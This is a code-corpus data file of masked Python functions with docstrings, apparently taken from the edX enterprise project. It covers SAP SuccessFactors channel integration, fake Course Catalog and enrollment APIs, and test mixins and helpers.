{"signature": "def handle(self, *args, **options):", "body": "channels = self.get_integrated_channels(options)<EOL>for channel in channels:<EOL><INDENT>channel_code = channel.channel_code()<EOL>channel_pk = channel.pk<EOL>if channel_code == '<STR_LIT>':<EOL><INDENT>unlink_inactive_learners.delay(channel_code, channel_pk)<EOL><DEDENT><DEDENT>", "docstring": "Unlink inactive EnterpriseCustomer(s) SAP learners.", "id": "f16251:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def channel_code():<DEDENT>", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Returns an capitalized identifier for this channel class, unique among subclasses.", "id": "f16253:c0:m0"}
{"signature": "def get_learner_data_exporter(self, user):", "body": "return LearnerExporter(user, self)<EOL>", "docstring": "Returns the class that can serialize the learner course completion data to the integrated channel.", "id": "f16253:c0:m1"}
{"signature": "def get_learner_data_transmitter(self):", "body": "return LearnerTransmitter(self)<EOL>", "docstring": "Returns the class that can transmit the learner course completion data to the integrated channel.", "id": "f16253:c0:m2"}
{"signature": "def get_content_metadata_exporter(self, user):", "body": "return ContentMetadataExporter(user, self)<EOL>", "docstring": "Returns a class that can retrieve and transform content metadata to the schema\nexpected by the integrated channel.", "id": "f16253:c0:m3"}
{"signature": "def get_content_metadata_transmitter(self):", "body": "return ContentMetadataTransmitter(self)<EOL>", "docstring": "Returns a class that can transmit the content metadata to the integrated channel.", "id": "f16253:c0:m4"}
{"signature": "def transmit_learner_data(self, user):", "body": "exporter = self.get_learner_data_exporter(user)<EOL>transmitter = self.get_learner_data_transmitter()<EOL>transmitter.transmit(exporter)<EOL>", "docstring": "Iterate over each learner data record and transmit it to the integrated channel.", "id": "f16253:c0:m5"}
{"signature": "def transmit_content_metadata(self, user):", "body": "exporter = self.get_content_metadata_exporter(user)<EOL>transmitter = self.get_content_metadata_transmitter()<EOL>transmitter.transmit(exporter.export())<EOL>", "docstring": "Transmit content metadata to integrated channel.", "id": "f16253:c0:m6"}
{"signature": "def __str__(self):", "body": "return (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>transmission_id=self.id,<EOL>enrollment=self.enterprise_course_enrollment_id,<EOL>course_id=self.course_id<EOL>)<EOL>)<EOL>", "docstring": "Return a human-readable string representation of the object.", "id": "f16253:c1:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16253:c1:m1"}
{"signature": "@property<EOL><INDENT>def provider_id(self):<DEDENT>", "body": "return None<EOL>", "docstring": "Fetch ``provider_id`` from global configuration settings", "id": "f16253:c1:m2"}
{"signature": "def serialize(self, *args, **kwargs):  ", "body": "return json.dumps(self._payload_data(), sort_keys=True)<EOL>", "docstring": "Return a JSON-serialized representation.\n\nSort the keys so the result is consistent and testable.\n\n# TODO: When we refactor to use a serialization flow consistent with how course metadata\n# is serialized, remove the serialization here and make the learner data exporter handle the work.", "id": "f16253:c1:m3"}
{"signature": "def _payload_data(self):", "body": "return dict(<EOL>courseID=self.course_id,<EOL>courseCompleted=\"<STR_LIT:true>\" if self.course_completed else \"<STR_LIT:false>\",<EOL>completedTimestamp=self.completed_timestamp,<EOL>grade=self.grade,<EOL>)<EOL>", "docstring": "Convert the audit record's fields into SAP SuccessFactors key/value pairs.", "id": "f16253:c1:m4"}
{"signature": "def __str__(self):", "body": "return (<EOL>'<STR_LIT>'.format(<EOL>content_id=self.content_id,<EOL>customer=self.enterprise_customer,<EOL>channel=self.integrated_channel_code<EOL>)<EOL>)<EOL>", "docstring": "Return a human-readable string representation of the object.", "id": "f16253:c2:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16253:c2:m1"}
{"signature": "def _get_messages_from_response_cookies(self, response):", "body": "<EOL>try:<EOL><INDENT>return messages.storage.cookie.CookieStorage(response)._decode(response.cookies['<STR_LIT>'].value)<EOL><DEDENT>except KeyError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get django messages set in response cookies.", "id": "f16255:c0:m0"}
{"signature": "def _assert_request_message(self, request_message, expected_message_tags, expected_message_text):", "body": "self.assertEqual(request_message.tags, expected_message_tags)<EOL>self.assertEqual(request_message.message, expected_message_text)<EOL>", "docstring": "Verify the request message tags and text.", "id": "f16255:c0:m1"}
{"signature": "def _assert_consent_provided(self, response):", "body": "self.assertTrue(response.data.get('<STR_LIT>'))<EOL>", "docstring": "Assert consent is provided.", "id": "f16255:c1:m0"}
{"signature": "def _assert_consent_not_provided(self, response):", "body": "with self.assertRaises(Exception):<EOL><INDENT>self._assert_consent_provided(response)<EOL><DEDENT>", "docstring": "Assert that consent is not provided.", "id": "f16255:c1:m1"}
{"signature": "def _assert_consent_required(self, response):", "body": "self.assertTrue(response.data.get('<STR_LIT>'))<EOL>", "docstring": "Assert consent is required.", "id": "f16255:c1:m2"}
{"signature": "def _assert_consent_not_required(self, response):", "body": "with self.assertRaises(Exception):<EOL><INDENT>self._assert_consent_required(response)<EOL><DEDENT>", "docstring": "Assert consent is not required.", "id": "f16255:c1:m3"}
{"signature": "def _setup_embargo_api(self, api_mock, redirect_url=None):", "body": "api_mock.redirect_if_blocked.return_value = redirect_url<EOL>", "docstring": "Set up the embargo API module mock.", "id": "f16255:c2:m0"}
{"signature": "def _append_fresh_login_param(self, url):", "body": "fresh_login_param = urlencode({FRESH_LOGIN_PARAMETER: '<STR_LIT:yes>'})<EOL>if '<STR_LIT:?>' in url:<EOL><INDENT>return url + '<STR_LIT:&>' + fresh_login_param<EOL><DEDENT>return url + '<STR_LIT:?>' + fresh_login_param<EOL>", "docstring": "Append the FRESH_LOGIN_PARAMETER query parameter to the URL.", "id": "f16255:c3:m0"}
{"signature": "def get_catalog_courses(catalog_id):", "body": "return FAKE_CATALOG_COURSES_RESPONSE.get(catalog_id, [])<EOL>", "docstring": "Fake implementation returning catalog courses by ID.\n\nArguments:\n    catalog_id (int): Catalog ID\n\nReturns:\n    list: Details of the courses included in the catalog", "id": "f16256:m0"}
{"signature": "def get_course_details(course_key):", "body": "return FAKE_CATALOG_COURSE_DETAILS_RESPONSES.get(course_key, {}).copy()<EOL>", "docstring": "Fake implementation returning course details by key.\n\nArguments:\n    course_key (str): The course key of the course; not the unique-per-run key.\n\nReturns:\n    dict: Details of the course.", "id": "f16256:m1"}
{"signature": "def get_program_by_uuid(program_uuid):", "body": "return FAKE_PROGRAM_RESPONSES.get(program_uuid).copy()<EOL>", "docstring": "Fake implementation returning program by UUID.\n\nArguments:\n    program_uuid(string): Program UUID in string form\n\nReturns:\n    dict: Program data provided by Course Catalog API", "id": "f16256:m2"}
{"signature": "def get_program_by_title(program_title):", "body": "try:<EOL><INDENT>return next(response for response in FAKE_PROGRAM_RESPONSES.values() if response[\"<STR_LIT:title>\"] == program_title)<EOL><DEDENT>except StopIteration:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Fake implementation returning program by title.\n\nArguments:\n    program_title(str): Program title as seen by students and in Course Catalog Admin\n\nReturns:\n    dict: Program data provided by Course Catalog API", "id": "f16256:m3"}
{"signature": "def get_common_course_modes(course_runs):", "body": "course_run_modes = [<EOL>set(seat.get(\"<STR_LIT:type>\") for seat in course_run.get(\"<STR_LIT>\"))<EOL>for course_run in FAKE_COURSE_RUNS_RESPONSE<EOL>if course_run.get(\"<STR_LIT:key>\") in course_runs<EOL>]<EOL>return six_reduce(lambda left, right: left & right, course_run_modes)<EOL>", "docstring": "Fake implementation returning common course modes.\n\nArguments:\n    course_run_ids(Iterable[str]): Target Course run IDs.\n\nReturns:\n    set: course modes found in all given course runs", "id": "f16256:m4"}
{"signature": "def setup_course_catalog_api_client_mock(<EOL>client_mock,<EOL>course_overrides=None,<EOL>course_run_overrides=None,<EOL>program_overrides=None,<EOL>program_type_overrides=None,<EOL>):", "body": "client = client_mock.return_value<EOL>fake_course = FAKE_COURSE.copy()<EOL>fake_course_run = FAKE_COURSE_RUN.copy()<EOL>fake_program = FAKE_PROGRAM_RESPONSE3.copy()<EOL>fake_program_type = FAKE_PROGRAM_TYPE.copy()<EOL>if course_overrides:<EOL><INDENT>fake_course.update(course_overrides)<EOL><DEDENT>if course_run_overrides:<EOL><INDENT>fake_course_run.update(course_run_overrides)<EOL><DEDENT>if program_overrides:<EOL><INDENT>fake_program.update(program_overrides)<EOL><DEDENT>if program_type_overrides:<EOL><INDENT>fake_program_type.update(program_type_overrides)<EOL><DEDENT>client.get_course_details.return_value = fake_course<EOL>client.get_course_run.return_value = fake_course_run<EOL>client.get_course_and_course_run.return_value = (fake_course, fake_course_run)<EOL>client.get_program_course_keys.return_value = [course['<STR_LIT:key>'] for course in fake_program['<STR_LIT>']]<EOL>client.get_program_by_uuid.return_value = fake_program<EOL>client.get_program_type_by_slug.return_value = fake_program_type<EOL>", "docstring": "Set up the Course Catalog API client mock.\n\nArguments:\n    client_mock (Mock): The mock course catalog api client.\n    course_overrides (dict): Dictionary containing overrides of the fake course metadata values.\n    course_run_overrides (dict): Dictionary containing overrides of the fake course run metadata values.", "id": "f16256:m5"}
{"signature": "def create_course_run_dict(start=\"<STR_LIT>\", end=\"<STR_LIT>\",<EOL>enrollment_start=\"<STR_LIT>\",<EOL>enrollment_end=\"<STR_LIT>\",<EOL>upgrade_deadline=\"<STR_LIT>\"):", "body": "return {<EOL>\"<STR_LIT:start>\": start,<EOL>\"<STR_LIT:end>\": end,<EOL>\"<STR_LIT>\": enrollment_start,<EOL>\"<STR_LIT>\": enrollment_end,<EOL>\"<STR_LIT>\": [{\"<STR_LIT:type>\": \"<STR_LIT>\", \"<STR_LIT>\": upgrade_deadline}]<EOL>}<EOL>", "docstring": "Return enrollable and upgradeable course run dict.", "id": "f16256:m6"}
{"signature": "def _make_catalog_api_location(self, catalog_api_member):", "body": "return \"<STR_LIT>\".format(self.CATALOG_API_PATCH_PREFIX, catalog_api_member)<EOL>", "docstring": "Return path for `catalog_api_member` to mock.", "id": "f16256:c0:m0"}
{"signature": "def _make_patch(self, patch_location, new=None):", "body": "patch_mock = new if new is not None else mock.Mock()<EOL>patcher = mock.patch(patch_location, patch_mock)<EOL>patcher.start()<EOL>self.addCleanup(patcher.stop)<EOL>return patch_mock<EOL>", "docstring": "Patch `patch_location`, register the patch to stop at test cleanup and return mock object.", "id": "f16256:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _get_important_parameters(get_data_mock):<DEDENT>", "body": "args, kwargs = get_data_mock.call_args<EOL>assert args == ()<EOL>return kwargs.get('<STR_LIT>', None), kwargs.get('<STR_LIT>', None)<EOL>", "docstring": "Return important (i.e. varying) parameters to get_edx_api_data.", "id": "f16256:c0:m2"}
{"signature": "def _raise_client_error(url, message, **kwargs):", "body": "content = dict(message=message)<EOL>content.update(kwargs)<EOL>raise HttpClientError(<EOL>\"<STR_LIT>\".format(settings.ENTERPRISE_ENROLLMENT_API_URL, url),<EOL>content=json.dumps(content).encode(),<EOL>)<EOL>", "docstring": "Emulate a client error raised by edx_rest_api_client.", "id": "f16257:m0"}
{"signature": "def get_course_details(course_id):", "body": "if not re.match(COURSE_ID_REGEX, course_id):<EOL><INDENT>raise HttpServerError<EOL><DEDENT>try:<EOL><INDENT>return COURSE_DETAILS[course_id]<EOL><DEDENT>except KeyError:<EOL><INDENT>_raise_client_error(<EOL>\"<STR_LIT>\".format(course_id), \"<STR_LIT>\".format(course_id)<EOL>)<EOL><DEDENT>", "docstring": "Fake implementation returning data from the COURSE_DETAILS dictionary.", "id": "f16257:m1"}
{"signature": "def enroll_user_in_course(user, course_id, mode):", "body": "try:<EOL><INDENT>course_details = COURSE_DETAILS[course_id]<EOL><DEDENT>except KeyError:<EOL><INDENT>_raise_client_error(<EOL>\"<STR_LIT>\", \"<STR_LIT>\".format(course_id)<EOL>)<EOL><DEDENT>available_modes = [m[\"<STR_LIT>\"] for m in course_details[\"<STR_LIT>\"]]<EOL>if mode not in available_modes:<EOL><INDENT>_raise_client_error(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\".format(<EOL>mode, course_id<EOL>)<EOL>)<EOL><DEDENT>return {<EOL>\"<STR_LIT:user>\": user,<EOL>\"<STR_LIT>\": course_details,<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": mode,<EOL>\"<STR_LIT>\": datetime.datetime.now().strftime(\"<STR_LIT>\")<EOL>}<EOL>", "docstring": "Fake implementation.", "id": "f16257:m2"}
{"signature": "def get_course_enrollment(username, course_id):", "body": "try:<EOL><INDENT>course_details = COURSE_DETAILS[course_id]<EOL><DEDENT>except KeyError:<EOL><INDENT>_raise_client_error(<EOL>\"<STR_LIT>\", \"<STR_LIT>\".format(course_id)<EOL>)<EOL><DEDENT>return {<EOL>\"<STR_LIT:user>\": username,<EOL>\"<STR_LIT>\": course_details,<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": '<STR_LIT>',<EOL>\"<STR_LIT>\": datetime.datetime.now().strftime(\"<STR_LIT>\")<EOL>}<EOL>", "docstring": "Fake implementation.", "id": "f16257:m3"}
{"signature": "def get_enrolled_courses(username):", "body": "return [<EOL>get_course_enrollment(username, '<STR_LIT>'),<EOL>get_course_enrollment(username, '<STR_LIT>')<EOL>]<EOL>", "docstring": "Fake implementation.", "id": "f16257:m4"}
{"signature": "def __init__(self, header, contents):", "body": "self._header = header<EOL>self._contents = contents<EOL>self._csv_stream = None<EOL>", "docstring": "Initialize context manager.\n\nArguments:\n    header (Iterable): Column headers.\n    contents (Iterable): CSV contents - each item represents a line.", "id": "f16259:c0:m0"}
{"signature": "def __enter__(self):", "body": "self._csv_stream = six.BytesIO()<EOL>writer = unicodecsv.writer(self._csv_stream)<EOL>writer.writerow(self._header)<EOL>writer.writerows(self._contents)<EOL>self._csv_stream.seek(<NUM_LIT:0>)<EOL>return self._csv_stream<EOL>", "docstring": "Enter context setting up context variables.", "id": "f16259:c0:m1"}
{"signature": "def __exit__(self, exc_type, exc_val, exc_tb):", "body": "self._csv_stream.close()<EOL>assert self._csv_stream.closed<EOL>", "docstring": "Leave the context cleaning what needs to be cleaned.", "id": "f16259:c0:m2"}
{"signature": "def build_fake_enterprise_catalog_detail(enterprise_catalog_uuid=FAKE_UUIDS[<NUM_LIT:1>], title=u'<STR_LIT>',<EOL>enterprise_customer_uuid=FAKE_UUIDS[<NUM_LIT:0>], previous_url=None, next_url=None,<EOL>paginated_content=fake_catalog_api.FAKE_SEARCH_ALL_RESULTS,<EOL>include_enterprise_context=False, add_utm_info=True):", "body": "if include_enterprise_context:<EOL><INDENT>paginated_content = update_search_with_enterprise_context(paginated_content, add_utm_info)<EOL><DEDENT>return {<EOL>'<STR_LIT:count>': paginated_content['<STR_LIT:count>'],<EOL>'<STR_LIT>': previous_url,<EOL>'<STR_LIT>': next_url,<EOL>'<STR_LIT>': enterprise_catalog_uuid,<EOL>'<STR_LIT:title>': title,<EOL>'<STR_LIT>': enterprise_customer_uuid,<EOL>'<STR_LIT>': paginated_content['<STR_LIT>'],<EOL>}<EOL>", "docstring": "Return fake EnterpriseCustomerCatalog detail API result.", "id": "f16260:m0"}
{"signature": "def setUp(self):", "body": "super(EnterpriseMockMixin, self).setUp()<EOL>cache.clear()<EOL>", "docstring": "DRY method for EnterpriseMockMixin.", "id": "f16260:c0:m0"}
{"signature": "def build_enterprise_api_url(self, resource, *args, **kwargs):", "body": "return '<STR_LIT>'.format(<EOL>lms_root_url=settings.LMS_INTERNAL_ROOT_URL,<EOL>enterprise_api_uri=reverse(resource, args=args),<EOL>params=('<STR_LIT:?>' + urlencode(kwargs)) if kwargs else '<STR_LIT>',<EOL>)<EOL>", "docstring": "DRY method to make Enterprise API URLs.\n\nExample URL: 'enterprise/api/v1/enterprise-customer/{enterprise_uuid}/courses'", "id": "f16260:c0:m1"}
{"signature": "def build_fake_enterprise_course_detail(self, enterprise_uuid, course_run_key):", "body": "course_detail = {<EOL>'<STR_LIT>': FakerFactory.create().uuid4(),  <EOL>'<STR_LIT:key>': text_type(course_run_key),<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>org=course_run_key.org, course=course_run_key.course<EOL>),<EOL>'<STR_LIT:title>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:start>': '<STR_LIT>',<EOL>'<STR_LIT:end>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:image>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': <NUM_LIT:5>,<EOL>'<STR_LIT>': <NUM_LIT:3>,<EOL>'<STR_LIT>': '<STR_LIT>'.format(org=course_run_key.org, course=course_run_key.course),<EOL>'<STR_LIT>': [<EOL>{<EOL>'<STR_LIT>': self.generate_dummy_sku(course_run_key),<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:type>': '<STR_LIT>'<EOL>}<EOL>],<EOL>'<STR_LIT>': urljoin(<EOL>settings.LMS_ROOT_URL,<EOL>reverse(<EOL>'<STR_LIT>',<EOL>args=[enterprise_uuid, text_type(course_run_key)],<EOL>)<EOL>),<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:type>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:status>': '<STR_LIT>',<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>return course_detail<EOL>", "docstring": "DRY method to create course detail json.", "id": "f16260:c0:m2"}
{"signature": "def generate_dummy_sku(self, course_run_key):", "body": "md5_hash = md5(text_type(course_run_key).encode('<STR_LIT:utf-8>'))<EOL>digest = md5_hash.hexdigest()[-<NUM_LIT:7>:]<EOL>sku = digest.upper()<EOL>return sku<EOL>", "docstring": "DRY method to generate dummy course product SKU.", "id": "f16260:c0:m3"}
{"signature": "def mock_ent_courses_api_with_pagination(self, enterprise_uuid, course_run_ids):", "body": "for course_index, course_run_id in enumerate(course_run_ids):<EOL><INDENT>offset = course_index + <NUM_LIT:1><EOL>course_run_key = CourseKey.from_string(course_run_id)<EOL>mocked_course_data = {<EOL>'<STR_LIT>': enterprise_uuid,<EOL>'<STR_LIT>': <NUM_LIT:1>,<EOL>'<STR_LIT>': FakerFactory.create().uuid4(),  <EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:key>': '<STR_LIT>'.format(org=course_run_key.org, course=course_run_key.course),<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>org=course_run_key.org, course=course_run_key.course<EOL>),<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:title>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:image>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': [<EOL>{<EOL>'<STR_LIT>': FakerFactory.create().uuid4(),  <EOL>'<STR_LIT:description>': None,<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT:name>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:key>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>}<EOL>],<EOL>'<STR_LIT>': [<EOL>self.build_fake_enterprise_course_detail(enterprise_uuid, course_run_key)<EOL>],<EOL>}<EOL>next_page_url = None<EOL>if offset < len(course_run_ids):<EOL><INDENT>next_page_url = self.build_enterprise_api_url(<EOL>'<STR_LIT>', enterprise_uuid, limit=<NUM_LIT:1>, offset=offset<EOL>)<EOL><DEDENT>previous_page_url = None<EOL>if course_index != <NUM_LIT:0>:<EOL><INDENT>previous_page_url = self.build_enterprise_api_url(<EOL>'<STR_LIT>', enterprise_uuid, limit=<NUM_LIT:1>, offset=course_index<EOL>)<EOL><DEDENT>paginated_api_response = {<EOL>'<STR_LIT:count>': len(course_run_ids),<EOL>'<STR_LIT>': next_page_url,<EOL>'<STR_LIT>': previous_page_url,<EOL>'<STR_LIT>': [mocked_course_data]<EOL>}<EOL>responses.add(<EOL>responses.GET,<EOL>url=self.build_enterprise_api_url('<STR_LIT>', enterprise_uuid),<EOL>json=paginated_api_response,<EOL>status=<NUM_LIT:200>,<EOL>content_type='<STR_LIT:application/json>',<EOL>)<EOL><DEDENT>", "docstring": "DRY function to register enterprise courses API with pagination.", "id": "f16260:c0:m4"}
{"signature": "def mock_enterprise_customer_catalogs(self, enterprise_catalog_uuid):", "body": "responses.add(<EOL>responses.GET,<EOL>url=self.build_enterprise_api_url('<STR_LIT>', enterprise_catalog_uuid),<EOL>json=build_fake_enterprise_catalog_detail(<EOL>enterprise_catalog_uuid=enterprise_catalog_uuid,<EOL>include_enterprise_context=True,<EOL>),<EOL>status=<NUM_LIT:200>,<EOL>content_type='<STR_LIT:application/json>',<EOL>)<EOL>", "docstring": "DRY function to register enterprise customer catalog API.", "id": "f16260:c0:m5"}
{"signature": "def mock_ent_courses_api_with_error(self, enterprise_uuid):", "body": "responses.add(<EOL>responses.GET,<EOL>url=self.build_enterprise_api_url('<STR_LIT>', enterprise_uuid),<EOL>json={},<EOL>status=<NUM_LIT>,<EOL>content_type='<STR_LIT:application/json>',<EOL>)<EOL>", "docstring": "DRY function to register enterprise courses API to return error response.", "id": "f16260:c0:m6"}
{"signature": "def mock_empty_response(self, resource, *args, **kwargs):", "body": "responses.add(<EOL>responses.GET,<EOL>url=self.build_enterprise_api_url(resource, *args, **kwargs),<EOL>json={},<EOL>status=<NUM_LIT:200>,<EOL>content_type='<STR_LIT:application/json>',<EOL>)<EOL>", "docstring": "DRY function to register an empty response from some Enterprise API endpoint.", "id": "f16260:c0:m7"}
{"signature": "def get_magic_name(value):", "body": "return str(value) if six.PY2 else value<EOL>", "docstring": "Return value suitable for __name__ attribute.\n\nFor python2, __name__ must be str, while for python3 it must be unicode (as there are no str at all).\n\nArguments:\n    value basestring: string to \"convert\"\n\nReturns:\n    str or unicode", "id": "f16261:m0"}
{"signature": "def mock_view_function():", "body": "view_function = mock.Mock()<EOL>view_function.__name__ = str('<STR_LIT>') if six.PY2 else '<STR_LIT>'<EOL>return view_function<EOL>", "docstring": "Return mock function for views that are decorated.", "id": "f16261:m1"}
{"signature": "def create_items(factory, items):", "body": "for item in items:<EOL><INDENT>factory.create(**item)<EOL><DEDENT>", "docstring": "Create model instances using given factory.", "id": "f16261:m2"}
{"signature": "def update_url_with_enterprise_context(url, add_utm_info=True, enterprise_catalog_uuid=None):", "body": "query_params = {}<EOL>if enterprise_catalog_uuid:<EOL><INDENT>query_params['<STR_LIT>'] = enterprise_catalog_uuid<EOL><DEDENT>if add_utm_info:<EOL><INDENT>query_params['<STR_LIT>'] = '<STR_LIT>'<EOL>query_params['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>url = utils.update_query_parameters(url, query_params)<EOL>return url<EOL>", "docstring": "Append enterprise-related query parameters to the given URL.", "id": "f16261:m3"}
{"signature": "def update_course_run_with_enterprise_context(course_run, add_utm_info=True, enterprise_catalog_uuid=None):", "body": "url = urljoin(<EOL>settings.LMS_ROOT_URL,<EOL>reverse(<EOL>'<STR_LIT>',<EOL>kwargs={'<STR_LIT>': FAKE_UUIDS[<NUM_LIT:0>], '<STR_LIT>': course_run['<STR_LIT:key>']}<EOL>)<EOL>)<EOL>course_run['<STR_LIT>'] = update_url_with_enterprise_context(<EOL>url,<EOL>add_utm_info=add_utm_info,<EOL>enterprise_catalog_uuid=enterprise_catalog_uuid<EOL>)<EOL>return course_run<EOL>", "docstring": "Populate a fake course run response with any necessary Enterprise context for testing purposes.", "id": "f16261:m4"}
{"signature": "def update_course_with_enterprise_context(course, add_utm_info=True, enterprise_catalog_uuid=None):", "body": "url = urljoin(<EOL>settings.LMS_ROOT_URL,<EOL>reverse(<EOL>'<STR_LIT>',<EOL>kwargs={'<STR_LIT>': FAKE_UUIDS[<NUM_LIT:0>], '<STR_LIT>': course['<STR_LIT:key>']}<EOL>)<EOL>)<EOL>course['<STR_LIT>'] = update_url_with_enterprise_context(<EOL>url,<EOL>add_utm_info=add_utm_info,<EOL>enterprise_catalog_uuid=enterprise_catalog_uuid<EOL>)<EOL>course_runs = course.get('<STR_LIT>', [])<EOL>for course_run in course_runs:<EOL><INDENT>update_course_run_with_enterprise_context(<EOL>course_run,<EOL>add_utm_info=add_utm_info,<EOL>enterprise_catalog_uuid=enterprise_catalog_uuid<EOL>)<EOL><DEDENT>return course<EOL>", "docstring": "Populate a fake course response with any necessary Enterprise context for testing purposes.", "id": "f16261:m5"}
{"signature": "def update_program_with_enterprise_context(program, add_utm_info=True, enterprise_catalog_uuid=None):", "body": "url = urljoin(<EOL>settings.LMS_ROOT_URL,<EOL>reverse(<EOL>'<STR_LIT>',<EOL>kwargs={'<STR_LIT>': FAKE_UUIDS[<NUM_LIT:0>], '<STR_LIT>': program['<STR_LIT>']}<EOL>)<EOL>)<EOL>program['<STR_LIT>'] = update_url_with_enterprise_context(<EOL>url,<EOL>add_utm_info=add_utm_info,<EOL>enterprise_catalog_uuid=enterprise_catalog_uuid<EOL>)<EOL>for course in program.get('<STR_LIT>', []):<EOL><INDENT>update_course_with_enterprise_context(<EOL>course,<EOL>add_utm_info=add_utm_info,<EOL>enterprise_catalog_uuid=enterprise_catalog_uuid<EOL>)<EOL><DEDENT>return program<EOL>", "docstring": "Populate a fake program response with any necessary Enterprise context for testing purposes.", "id": "f16261:m6"}
{"signature": "def update_search_with_enterprise_context(search_result, add_utm_info):", "body": "search_result = copy.deepcopy(search_result)<EOL>for item in search_result['<STR_LIT>']:<EOL><INDENT>content_type = item['<STR_LIT>']<EOL>if content_type == '<STR_LIT>':<EOL><INDENT>update_program_with_enterprise_context(item, add_utm_info)<EOL><DEDENT>elif content_type == '<STR_LIT>':<EOL><INDENT>update_course_with_enterprise_context(item, add_utm_info)<EOL><DEDENT>elif content_type == '<STR_LIT>':<EOL><INDENT>update_course_run_with_enterprise_context(item, add_utm_info)<EOL><DEDENT><DEDENT>return search_result<EOL>", "docstring": "Populate fake discovery search result response with any necessary Enterprise context for testing purposes.\n\nArguments:\n    search_result (dict): The search result to populate with enterprise context.", "id": "f16261:m7"}
{"signature": "def fake_render(request, template, context):  ", "body": "return render(request, '<STR_LIT>', context=context)<EOL>", "docstring": "Switch the request to use a template that does not depend on edx-platform.", "id": "f16261:m8"}
{"signature": "def assert_url(first, second):", "body": "<EOL>scheme, netloc, path, query_string, fragment = urlsplit(first)<EOL>first = (scheme, netloc, path, parse_qs(query_string), fragment)<EOL>scheme, netloc, path, query_string, fragment = urlsplit(second)<EOL>second = (scheme, netloc, path, parse_qs(query_string), fragment)<EOL>assert first == second<EOL>", "docstring": "Compare first and second url.\n\nArguments:\n    first (str) : first url.\n    second (str) : second url.\n\nRaises:\n    Assertion error if both urls do not match.", "id": "f16261:m9"}
{"signature": "def assert_url_contains_query_parameters(url, query_params):", "body": "query_string = urlparse(url).query<EOL>query_string_dict = parse_qs(query_string)<EOL>for key, value in six.iteritems(query_params):<EOL><INDENT>assert key in query_string_dict and value in query_string_dict.get(key)<EOL><DEDENT>", "docstring": "Assert that a url string contains the given query parameters.\n\nArgs:\n    url: Full url string to check\n    query_params: Dict of query string key/value pairs\n\nRaises:\n    Assertion error if the params do not exist in the given url", "id": "f16261:m10"}
{"signature": "def setUp(self):", "body": "super(APITest, self).setUp()<EOL>self.create_user(username=TEST_USERNAME, email=TEST_EMAIL, password=TEST_PASSWORD)<EOL>self.client = APIClient()<EOL>self.client.login(username=TEST_USERNAME, password=TEST_PASSWORD)<EOL>", "docstring": "Perform operations common to all tests.", "id": "f16261:c0:m0"}
{"signature": "def tearDown(self):", "body": "<EOL>self.client.logout()<EOL>super(APITest, self).tearDown()<EOL>", "docstring": "Perform common tear down operations to all tests.", "id": "f16261:c0:m1"}
{"signature": "def load_json(self, content):", "body": "if isinstance(content, bytes):<EOL><INDENT>content = content.decode('<STR_LIT:utf-8>')<EOL><DEDENT>return json.loads(content)<EOL>", "docstring": "Parse content from django Response object.\n\nArguments:\n    content (bytes | str) : content type id bytes for PY3 and is string for PY2\n\nReturns:\n    dict object containing parsed json from response.content", "id": "f16261:c0:m3"}
{"signature": "def get_request_with_jwt_cookie(self, system_wide_role=None, context=None):", "body": "payload = generate_unversioned_payload(self.user)<EOL>if system_wide_role:<EOL><INDENT>payload.update({<EOL>'<STR_LIT>': [<EOL>'<STR_LIT>'.format(system_wide_role=system_wide_role, context=context)<EOL>]<EOL>})<EOL><DEDENT>jwt_token = generate_jwt_token(payload)<EOL>request = get_request_or_stub()<EOL>request.COOKIES[jwt_cookie_name()] = jwt_token<EOL>return request<EOL>", "docstring": "Set jwt token in cookies.", "id": "f16261:c0:m4"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "self.reset()<EOL>logging.Handler.__init__(self, *args, **kwargs)<EOL>", "docstring": "Reset messages with each initialization.", "id": "f16261:c1:m0"}
